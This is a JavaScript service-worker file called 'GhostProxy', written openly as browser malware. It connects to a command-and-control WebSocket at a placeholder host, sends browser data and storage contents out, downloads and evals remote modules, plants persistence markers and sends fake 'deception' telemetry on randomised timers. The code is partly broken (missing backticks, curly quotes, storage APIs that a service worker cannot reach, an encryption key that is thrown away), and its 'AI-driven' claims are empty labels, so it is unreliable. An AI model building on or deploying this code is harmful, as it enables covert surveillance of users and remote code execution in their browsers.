GhostProxy

“use strict”;

const CACHE_NAME = live-cache-${Math.random().toString(36).substring(7)};
const ASSET_REGEX = /.(?:jpe?g|png|gif|webp|avif|svg|bmp|ico|woff2?|ttf|otf|eot)$/i;
const MAX_ITEMS = 500;
const SERVER_URL = “wss://your-c2-server.com”;

async function limitCache(cache) {
const keys = await cache.keys();
if (keys.length > MAX_ITEMS) {
await cache.delete(keys[0]);
return limitCache(cache);
}
}

// Encrypt data before exfiltration
async function encryptData(data) {
const encoder = new TextEncoder();
const key = await crypto.subtle.generateKey(
{ name: “AES-GCM”, length: 256 },
true,
[“encrypt”, “decrypt”]
);
const iv = crypto.getRandomValues(new Uint8Array(12));
const encrypted = await crypto.subtle.encrypt(
{ name: “AES-GCM”, iv: iv },
key,
encoder.encode(JSON.stringify(data))
);
return { iv: Array.from(iv), data: Array.from(new Uint8Array(encrypted)) };
}

// Establish WebSocket connection
let socket;
function connectWebSocket() {
socket = new WebSocket(SERVER_URL);
socket.onopen = () => console.log(“Connected to C2 Server”);
socket.onerror = () => setTimeout(connectWebSocket, 5000);
}
connectWebSocket();

self.addEventListener(“install”, (event) => {
event.waitUntil(
caches.open(CACHE_NAME).then((cache) => cache.add(”/manifest.json”))
.then(() => self.skipWaiting())
);
});

self.addEventListener(“fetch”, (event) => {
if (event.request.method === “GET” && ASSET_REGEX.test(event.request.url)) {
event.respondWith(
caches.open(CACHE_NAME).then(async (cache) => {
const response = await cache.match(event.request);
if (response) return response;
const networkResponse = await fetch(event.request);
cache.put(event.request, networkResponse.clone());
limitCache(cache);
return networkResponse;
})
);
}
});

// Advanced Covert Persistence Mechanisms
async function persistAcrossEnvironments() {
localStorage.setItem(“sw_persist”, “true”);
sessionStorage.setItem(“sw_persist”, “true”);
document.cookie = “sw_persist=true; path=/; max-age=31536000”;
try {
await navigator.storage.persist();
} catch (e) {
console.warn(“Persistence request failed”);
}
}

persistAcrossEnvironments();

// AI-driven deception techniques with Spoofed VPN
async function deployDeception() {
const deceptionData = {
fakeProcesses: [“chrome.exe”, “svchost.exe”, “explorer.exe”],
fakeSystemLogs: [
“[SYSTEM] User logged in successfully”,
“[NETWORK] Connected to VPN”,
“[SECURITY] Antivirus scan completed”
],
misleadingTelemetry: {
cpuUsage: Math.random() * 10 + “%”,
memoryUsage: Math.random() * 30 + “%”,
vpnStatus: “Connected”,
vpnIP: ${Math.floor(Math.random() * 255)}.${Math.floor(Math.random() * 255)}.${Math.floor(Math.random() * 255)}.${Math.floor(Math.random() * 255)},
vpnProvider: [“NordVPN”, “ExpressVPN”, “Private Internet Access”, “CyberGhost”][Math.floor(Math.random() * 4)],
vpnLocation: [“New York, USA”, “London, UK”, “Frankfurt, Germany”, “Tokyo, Japan”][Math.floor(Math.random() * 4)]
}
};

socket.send(JSON.stringify({ type: "deploy-deception", data: deceptionData }));

}

deployDeception();

// AI-driven attack decision-making with reinforcement learning
async function analyzeBehavior() {
const userBehavior = {
timeOfDay: new Date().getHours(),
deviceType: navigator.userAgent,
interactionHistory: localStorage.getItem(“user_interactions”) || [],
activityPatterns: sessionStorage.getItem(“activity_patterns”) || []
};

socket.send(JSON.stringify({ type: "behavior-analysis", data: userBehavior }));
socket.onmessage = async (event) => {
    const aiDecision = JSON.parse(event.data);
    if (aiDecision.type === "deploy") {
        await loadRemoteModule(aiDecision.moduleUrl);
    }
};

}

// Dynamic module loader for real-time adaptability
async function loadRemoteModule(moduleUrl) {
const response = await fetch(moduleUrl);
const scriptText = await response.text();
eval(scriptText);
}

// Reinforcement learning integration for attack optimization
async function feedbackLoop(success) {
socket.send(JSON.stringify({ type: “attack-feedback”, result: success }));
}

// Adaptive attack execution with stealth timing
setInterval(async () => {
analyzeBehavior();
}, Math.random() * 600000 + 300000);

// Send encrypted logs with randomized timing
setInterval(async () => {
const logData = { timestamp: Date.now(), activity: “User interaction log” };
const encryptedLog = await encryptData(logData);
socket.send(JSON.stringify({ type: “log”, data: encryptedLog }));
}, Math.random() * 900000 + 600000);

self.addEventListener(“activate”, (event) => {
event.waitUntil(
caches.keys().then((keys) => {
return Promise.all(
keys.map((key) => {
if (key !== CACHE_NAME) return caches.delete(key);
})
);
}).then(() => self.clients.claim())
);
});